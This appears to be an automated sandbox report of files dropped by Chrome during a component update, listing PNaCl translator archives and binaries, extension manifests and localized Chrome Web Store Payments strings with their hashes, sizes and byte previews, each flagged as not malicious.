memcpy.memmove.memset.__nacl_read_tp.__pnacl_init_irt.longjmp.setjmp.__Sz_fptosi_f32_i64.__Sz_fptosi_f64_i64.__Sz_fptoui_f32_i32.__Sz_fptoui_f32_i64._
_Sz_fptoui_f64_i32.__Sz_fptoui_f64_i64.__Sz_sitofp_i64_f32.__Sz_sitofp_i64_f64.__Sz_uitofp_i32_f32.__Sz_uitofp_i32_f64.__Sz_uitofp_i64_f32.__Sz_uitofp_i64_f64.n
acl_tp_tdb_offset.nacl_tp_tls_offset.__Sz_bitcast_16xi1_i16.__Sz_bitcast_8xi1_i8.__Sz_bitcast_i16_16xi1.__Sz_bitcast_i8_8xi1.__Sz_fptoui_4xi32_f32.__Sz_uitofp_4
xi32_4xf32..e_fmod.o/       0           0     0     644     2792      `..ELF..............>.....................(...........@.....@.......................................PH..AVAUATSfI.~.M..I.. E....@.
A......D..D1.......8fI.~.M.....I.. E..A......D..D..t.D....D..f....D..=....r...Y...^.[A\A]A^..@..,$J.l=....J.$<A[A...M..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 132784

Entropy (8bit): 3.6998481247844937

Encrypted: false

SSDEEP: 384:Hf0mOXYmeKzQUIdedRFvT5p1Ee2HyAlL3O4:Hf7OXdmWRJT5p1R2HyAhO4

MD5: C37CA2EB468E6F05A4E37DF6E6020D0F

SHA1: EA787E5EADFB488632EC60D8B80B555796FA9FE9

SHA-256: C1483ED423FEE15D86E8B5D698B2CDAB89186CE7FF9C4E3D5F3F961FD80D7C6E

SHA-512: 01281DE92B281FB29E1ACA96AA64B740B65CC3A9097307827F0D8DB9E1C164C56AFCDFA0BF138EA670A596D55CE2C8D722760744E9FC9343BB6514417BF333B
A

Malicious: false

Preview: !<arch>./               0           0     0     0       942       `....;...|.......4...x..#...-...4l..E...M...U...]...n...u...~X...4.......................L......................t...p...............`......"...*...1...:...D...K...T
...\...d...r|..|0.......x...........L.......\...8..........................__clzti2.__compilerrt_fmax.__compilerrt_fmaxf.__compilerrt_logb.__compilerrt_logbf.__ctzti2.__divdc3.__divdi3.__div
moddi4.__divmodsi4.__divsc3.__divsi3.__divti3.__fixdfdi.__fixdfsi.__fixdfti.__fixsfdi.__fixsfsi.__fixsfti.__fixunsdfdi.__fixunsdfsi.__fixunsdfti.__fixunssfdi.__fixunssfsi
.__fixunssfti.__floatdidf.__floatdisf.__floatsidf.__floatsisf.__floattidf.__floattisf.__floatundidf.__floatundisf.__floatunsidf.__floatunsisf.__floatuntidf.__floatuntisf.compilerrt
_abort_impl.__moddi3.__modsi3.__modti3.__muldc3.__muloti4.__mulsc3.__multi3.__popcountdi2.__popcountsi2.__popcountti2.__powidf2.__powisf2.__udivdi3.__
udivmoddi4.__udivmodsi4.__udivmodti4.__udivsi3.__udivti3.__umoddi3.__umodsi3.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 13514

Entropy (8bit): 3.8217211433441904

Encrypted: false

SSDEEP: 192:uU9v4pXizdrEuxwk3vp20tprpdSGFwDqO:P9v4palvvc0tpFdSGFwmO

MD5: 4E8BEDA73EB7BD99528BF62B7835A3FA

SHA1: DC0F263A7B2A649D11FF7B56FE9CFAC44F946036

SHA-256: 6B835FD48DF505EB336FF6518CE7B93BB0ED854DADAA5C1EEED48D420291F62C

SHA-512: 46116B8BABC719676D68FD40D2AC82F38A3D13D8A482ADFC6FC32A99170AC3420E52CC33242CCD0FA723ABF4FA5EDBB9CE16A09C729BF04AE4AFBB2F67A1E
38B

Malicious: false

Preview: !<arch>./               0           0     0     0       94        `................._pnacl_wrapper_start.__pnacl_real_irt_query_func.__pnacl_wrap_irt_query_func..shim_entry.o/   0           
0     0     644     7392      `..ELF..............>..................... ...........@.....@.........................NaCl....x86-64..................................A.L....A.L...D...........D....A.....t+.. u..t"..A.D.....
.....A... .....A.D...........f..D..<.......................Q.......................V.......................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163f
dd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f).../../
ppapi/native_client/src/untrusted/pnacl_irt_shim/shim_entry.c./mnt/data/b/build/slave/sdk/build/src/out_pnacl/x64.NACL_STARTUP_FINI.NACL_STARTUP_ENVC.
NACL_STARTUP_ARGC.NACL_STARTUP_ARGV.NaClStartupInfoIndex.unsigned int.size_t.char.TYPE_na

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 2078

Entropy (8bit): 3.21751839673526

Encrypted: false

SSDEEP: 24:MOcpdhWE5O/bZbmT3296bmT3TwQwDnvD/+R3:MHuECdaTS6aTTwXDvD/+l

MD5: F950F89D06C45E63CE9862BE59E937C9

SHA1: 9CFAD34139CC428CE0C07A869C15B71A9632365D

SHA-256: 945B1C8A1666CBF05E8B8941B70D9D044BAAFB59B006F728F8995072DE7C4C40

SHA-512: F9AFBB800A875EDCC63DEA4986179E73632B3182951A99C8B3D37DB454EFD7CC7192ECA5AC87514918A858BAD6DAEAB59548CA2E90EADA9900EF5B9F08E62
CFC

Malicious: false

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a
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Preview: !<arch>./               0           0     0     0       30        `........._pnacl_wrapper_start..//                                              20        `.dummy_shim_entry.o/./0              0           0   
  0     644     1840      `..ELF..............>.................................@.....@.......................................PH..,$J.l=....J.$<.....f..D......................................NaCl....x86-64...clang version 
3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native
_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f)............zR..x...................... ....C....C..... .........................rela.text..comment..bss..group..note.GNU-
stack..rela.eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.....................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=309d6d3d463e6b1b0690f39eb226b1e4c469b2ce, stripped

Category: dropped

Size (bytes): 14091416

Entropy (8bit): 5.928868737447095

Encrypted: false

SSDEEP: 196608:tKVqXp3Qev4dg6ilfHM8KLM2J3jqjnkZ:uqufB

MD5: 9B159191C29E766EBBF799FA951C581B

SHA1: D1D4BBC63AB5FC1E4A54EB7B82095A6F2CE535EE

SHA-256: 2F4A3A0730142C5EE4FA2C05D27A5DEFC18886A382D45F5DB254B61B28ED642B

SHA-512: 0B4FF60B5428F81B8B1BCF3328CF80CBD88D8CE5E8BDBC236B06D5A54E7CF26168A3ABB348D87423DA613AB3F0B4D9B37CB5180804839F1CA158EC2B315DDF
00

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview: .ELF..............>..... .......@...................@.8...@...............$.....................................................................................................................!.......!......'......G...................................
............@.......@...............P.td............................D.......D...............Q.td................................................................NaCl....x86-64..............GNU.0.m=F>k....&...i......................
..0C......0C..0C..0E..............0C......0E.-DT.!.?.-DT.!.........................?........-DT.!...-DT.!.?.......?......................?..............?."..."..."..."......@.......`...................... ...@...`.................
..... ...@...`...................... ...@...`...................... ...@...`.......................................`... ...@...`...........`...`.......@...@....... ....1..`3.. 4..`-..`-...:...:...F..@H..`H...H...F...F...G...H.. H.
..F..@G...I.. I..@I..@G...G...I...I...J...G..`I..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=4b15de4ab227d5e46213978b8518d53c53ce1db9, stripped

Category: dropped

Size (bytes): 1901720

Entropy (8bit): 5.955741933854651

Encrypted: false

SSDEEP: 12288:gXqUSpBjwQO2o8k+7zjidg4euCAauOILffvCpGy4Wh3BTFmHpq82K2/KsvPyla9d:gafZwcOdNe2auOepCBTFmJq3Kf8ksr

MD5: 9DC3172630E525854B232FF71499D77C

SHA1: 0082C58EDCE3769E90DB48E7C26090CE706AD434

SHA-256: 6AA1DA6C264E0AF4E32A004F4076C7557C6AC6D9C38B0C5DE97302D83FA248C3

SHA-512: 9E9584241A39EED1463D7D4C1B26AE570B839AA315778FF3400C61341EBA43B630307DE9F1532A265CA82EA69BDEA03EC9D963E59A18569C02DA8285449870FE

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview: .ELF..............>..... .......@...................@.8...@.............................................................................................0.......0................................................Y........................................
..............@.......@...............P.td....t^......t^......t^.......W.......W..............Q.td................................................................NaCl....x86-64..............GNU.K..J.'..b......<S...`...`... ...@...
@.......@.............................................Y@......................p................@.......?..............?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?
.y.P.D.?<.s..O.u......$@.......@...............@`...`.......@.................................................. ...`... ... .......`................... ... ...@...`.......................@... Z...[...[...e.......... ...@... ...@..
.`........0...0...2..`4.. 6...7...9...~...~...z...{...{..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.928261499316817

Encrypted: false

SSDEEP: 3:STDLGswXEVBcVdBiTDt3zLsW:SPLGLErcVdBiDtf3

MD5: C00BCE97F21B1AD61EB9B8CD001795EE

SHA1: 8E0392FF3DB267D847711C3F4E0D7468060E1535

SHA-256: 59F06F04230E32E8BC839F45B984D31D611930427B631C963D09E7064A602363

SHA-512: 9930E44A6ECC62505DBADCEED5E05645909FF09816FB12AAC0414E6D2830AC09758366C3B7D4EDD7839C87EB16DFA4C66D8981AE6237D408B37135C3506F4CD
2

Malicious: false

Preview: 1.6f6bc93dcd62dc251850d2ff458fda96083ceb7fbe8eeb11248b8485ef2aea23

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe

C:\Users\user\AppData\Local\Temp\3960_526055686\manifest.fingerprint
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https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 573

Entropy (8bit): 4.859567579783832

Encrypted: false

SSDEEP: 12:BLqG6yDJmL4mLDlG9hQ181G46XzrXc+EFfNqpaiOc+T5NqXIOclNqXL:BkylmL4mLDlJ18116XsRNqtZeNqXIZlE

MD5: 1863B86D0863199AFDA179482032945F

SHA1: 36F56692E12F2A1EFCA7736C236A8D776B627A86

SHA-256: F14E451CE2314D29087B8AD0309A1C8B8E81D847175EF46271E0EB49B4F84DC5

SHA-512: 836556F3D978A89D3FC1F07FCED2732A17E314ED6A021737F087E32A69BFA46FD706EBBDFD3607FF42EDCB75DC463C29B9D9D2F122504F567BB95844F579831B

Malicious: false

Preview: {."update_url": "https://clients2.google.com/service/update2/crx",..  "description": "Portable Native Client Translator Multi-CRX",.  "name": "PNaCl Translator Multi-CRX",.  
"manifest_version": 2,.  "minimum_chrome_version": "30.0.0.0",.  "version": "0.57.44.2492",.  "platforms": [.    {.      "nacl_arch": "x86-32",.      "sub_package_path": "_plat
form_specific/x86_32/".    },.    {.      "nacl_arch": "x86-64",.      "sub_package_path": "_platform_specific/x86_64/".    },.    {.      "nacl_arch": "arm",.      "sub_package_pa
th": "_platform_specific/arm/".    }.  ].}.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1425

Entropy (8bit): 5.994801846608462

Encrypted: false

SSDEEP: 24:pZRj/flTm6M27DJGpqYdIQpFpNSzkaoXgdF/bhndPeQUAXFr9oX4OvDFryBuliPO:p/hZ7DJI1fp/Nykak0/FdPe2p9kdBms7

MD5: A9213F8CDFB6B78022DA05CFA5A7D891

SHA1: 93D3EF815A109379A001E3F3202757F3203361B9

SHA-256: 9C668E3D077EEE7AEF97863D7FE1CBF61FB4B5000453F505703E57D27B422967

SHA-512: 6C7BE485C63EA72AF9E427ABE509A30BE13F4BDE09F0CDB8556CFF13B083B715F7F5DFCE57A1E768EF1EB88F04EFD4E99C226100191B93F75469418CE330CE
69

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJkb3dubG9hZF9maWxlX3R5cGVzLnBiIiwicm9vdF9oYXNoIjoiakhYVTVVRE1oWUx1VUlROV96d1Bsd2Zmd29uTkhSbURmaUE5VUFHaVEtZyJ9LHsicGF
0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJJNTVkQUc3d3BDSWJBTmNzSkRZWmp0cDJCRHFTUkZXdzNwdE9sU2ktek5zIn1dLCJmb3JtYXQiOiJ
0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoia2hhb2llYm5ka29qbG1wcGVlbWpoYnBiYW5kaWxqcGUiLCJpdGVtX3ZlcnNpb24iOiI1M
CIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"LqYqsP-WlB8nE2JEqYRQxkHwN
9Wgu2MK5D_uPKB4atX30fFzDZAv8Z9plvsI53AMo_GMmNgC8lY-_9pCOQ1F19ExfbP5FC7NcA3xe112MMEg7Fkb58kGoMuTn-NQmI-ZrdwwRnGsT8tuLR9EV
d9GtzapIXldJbnhF3jZdUAR_fDG03RTaF2BmeDK2OHFmFhjGgyaqgwW8jBASkQEYpW4czHJUk45TmANmcW3tICwSoTzoTZvPOQ791WdBp6OISU0KeojQjs0W
7Y6e90Do6sOIVBKprbt0RqbKUIAC1WA3t7b2E0rMwXGmIRTjhSMkaflwMh4gFw54E5PLQMxIhNCBw"},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 7650

Entropy (8bit): 5.12483814381491

Encrypted: false

SSDEEP: 192:40aEW8SsWk/pvtHB3Nf5Y10k6QKEa4pmigb1BPxzO6RsO6v:40aEW8SsWk/pvtHB3Nf5YKk6QKEa4pmA

MD5: 8D7D8483804246771B62D74531D9C7A8

SHA1: 19EA42E79F04F4C2A1CCAA637385BC7EF7EA19F3

SHA-256: A28B662C9E379BAAD00E700A9AA4124A2D7A3648669EB88C8E8F8CE1A7011A85

SHA-512: 955B2B467063D774233C0B5DDF0FAA04678224855E7950967B1EDE83103FF14EC8371F1B36CE7D92F9B11D2BA6AF10DE732CEE990C7500EDEC7C71252890A667

Malicious: false

Preview: .2...#<....jpg... .*.........jpeg... .*.........mp3... .*.........mp4... .*.........png... .*.........csv... .*.........ica... .*.........gif... .*.........txt... .*.........package... .*.........tif... .*.........webp... .*......
...mkv... .*.........wav... .*.........mov... .*.........avif... .*.........swf.D .*.........spl.E .*.........crx.. .*.........001..... .*.........7z.4.. .*.........ace..... .*.........arc..... .*.........arj.:.. .*.........b64...
.. .*.........balz..... .*.........bhx..... .*.........bin..... .*.....0.....bz..... .*.........bz2.8.. .*.........bzip2..... .*.........cab.... .*.........cpio.@.. .*.........fat..... .*.........gz.6.. .*.........gzip..... .*....
.....hfs..... .*.........hqx..... .*.........iso..... .*.....0.....lha.<.. .*.........lpaq1..... .*.........lpaq5..... .*.........lpaq8..... .*.........lzh.;.. .*.........lzma.?.. .*.........mim..... .*.........ntfs..... .*.......
..paq8f..... .*.........paq8jd..... .*.........paq8l..... .*.........paq8o..... 

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Temp\3960_526055686\manifest.json

C:\Users\user\AppData\Local\Temp\3960_758096027\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\3960_758096027\download_file_types.pb

C:\Users\user\AppData\Local\Temp\3960_758096027\manifest.fingerprint
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File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.8793357407284366

Encrypted: false

SSDEEP: 3:SXGVNXEWfw9CSedSVzQGDB7YsDAwd:SUNX/sQkD/

MD5: A13AE9794CF91F69B4E285B2F5E2FFDD

SHA1: 2A9E7B1BC57B296D792B50E03D80D21A9B8731F2

SHA-256: D68B68CF7C55432F41582B26536C9FD9A3BE50DD6E3255D4EC1B79488CA15C96

SHA-512: 0FD65CDB977949DA94E694CA018CCE97E4995389F4E29F9ED791B418938D9813CE1F13606363A67407BA26414E9A32757FB181FA5EB4E663BDF0F4DD8A2BEDF
6

Malicious: false

Preview: 1.2c15227a2823f31c7f3728e85a39bd87040d30562f3fa8d1c6faeb20f93e3cc8

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 173

Entropy (8bit): 4.479129266715852

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFRxJ1KnOFgS1iJHpEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlMDf1KqgS1qOWfB0NpK4aotL

MD5: 6919207CEDCD450B8080CEE781C19AC8

SHA1: D57E8CEA888A3B1457D98A3CD5E6038D090462F5

SHA-256: 239E5D006EF0A4221B00D72C2436198EDA76043A924455B0DE9B4E9528BECCDB

SHA-512: FF864721CE59CA633FAE8D8E3D4728952F6FCF0B241DEF7832F22EF229699282A588FD76B91A3E4FA7B470CAFA9E41E8460977C2A1547A5A9E9D3CF5E8D4AFF
0

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "fileTypePolicies",.  "version": "50",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "squashfs",.  "isRemovable": false.}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

C:\Users\user\AppData\Local\Temp\3960_758096027\manifest.json

C:\Users\user\AppData\Local\Temp\b1f2020b-38cd-4a36-87c0-426567f6cda0.tmp

C:\Users\user\AppData\Local\Temp\db6345c4-2474-41f9-a909-0f9135d23777.tmp
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Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 796

Entropy (8bit): 4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8

SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
0C

Malicious: false

Preview: {..   "app_description": {..      "message": "........ . ... ........ .. Chrome"..   },..   "app_name": {..      "message": "........ . ... ........ .. Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........... .... ...... .. ............."..   },..   "craw_connect_to_network": {..      "message": "...., ........ .. . ......"..   },..   "iap_unavailable": {..      "message": "........... .... 
...... .. .......... ....... .. ........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "...., ...... . 
Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 675

Entropy (8bit): 4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHA1: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20

SHA-512: 39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CB
B4

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagaments de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagaments de Chrome Web 
Store"..   },..   "craw_app_unavailable": {..      "message": "Ara mateix aquesta aplicaci. no est. disponible."..   },..   "craw_connect_to_network": {..      "message": "C
onnecteu-vos a una xarxa."..   },..   "iap_unavailable": {..      "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicieu la sessi. a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.698608127109193

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW

MD5: 76DEC64ED1556180B452A13C83171883

SHA1: CFB1E56FD587BCDC459C1D9A683B71F9849058F9

SHA-256: 32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40

SHA-512: 5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885
CB

Malicious: false

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplikace v sou.asn. dob. nen. dostupn.."..   },..   "craw_connect_to_network": {..      "message": "P.ipojte se pros.m k s.ti."..   
},..   "iap_unavailable": {..      "message": "Platby v aplikaci aktu.ln. nejsou k dispozici."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "P.ihlaste se do Chromu."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\bg\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\ca\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\cs\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.5289746475384565

Encrypted: false

SSDEEP: 12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD

MD5: 238B97A36E411E42FF37CEFAF2927ED1

SHA1: 4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0

SHA-256: 4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

SHA-512: FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53
E0A

Malicious: false

Preview: {..   "app_description": {..      "message": "Betalinger i Chrome Webshop"..   },..   "app_name": {..      "message": "Betalinger i Chrome Webshop"..   },..   "craw_app_u
navailable": {..      "message": "Appen er ikke tilg.ngelig i .jeblikket."..   },..   "craw_connect_to_network": {..      "message": "Opret forbindelse til et netv.rk."..   },..   
"iap_unavailable": {..      "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comp
leted."..   },..   "please_sign_in": {..      "message": "Log ind p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 651

Entropy (8bit): 4.583694000020627

Encrypted: false

SSDEEP: 12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj

MD5: 6B3E916E8C1991AA0453CBA00FEDCAAA

SHA1: D6366D15912E40CA107FD42BFE9579C3336A51F9

SHA-256: A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

SHA-512: 87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "app_name": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "craw_app_una
vailable": {..      "message": "Die App ist momentan nicht verf.gbar."..   },..   "craw_connect_to_network": {..      "message": "Bitte stellen Sie eine Verbindung zu einem 
Netzwerk her."..   },..   "iap_unavailable": {..      "message": "In-App-Zahlungen sind momentan nicht m.glich."..   },..   "jwt_retrieve_failed": {..      "message": "The trans
action could not be completed."..   },..   "please_sign_in": {..      "message": "Bitte melden Sie sich in Chrome an."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 787

Entropy (8bit): 4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD

MD5: 05C437A322C1148B5F78B2F341339147

SHA1: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B4
0

Malicious: false

Preview: {..   "app_description": {..      "message": "........ ... Chrome Web Store"..   },..   "app_name": {..      "message": "........ ... Chrome Web Store"..   },..   "craw_app_unavail
able": {..      "message": ". ........ .... .. ..... ... ..... .........."..   },..   "craw_connect_to_network": {..      "message": ".......... .. ... ......."..   },..   "iap_unavailable": {..      
"message": ".. ........ ..... ......... ... ..... ..... .. ...... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
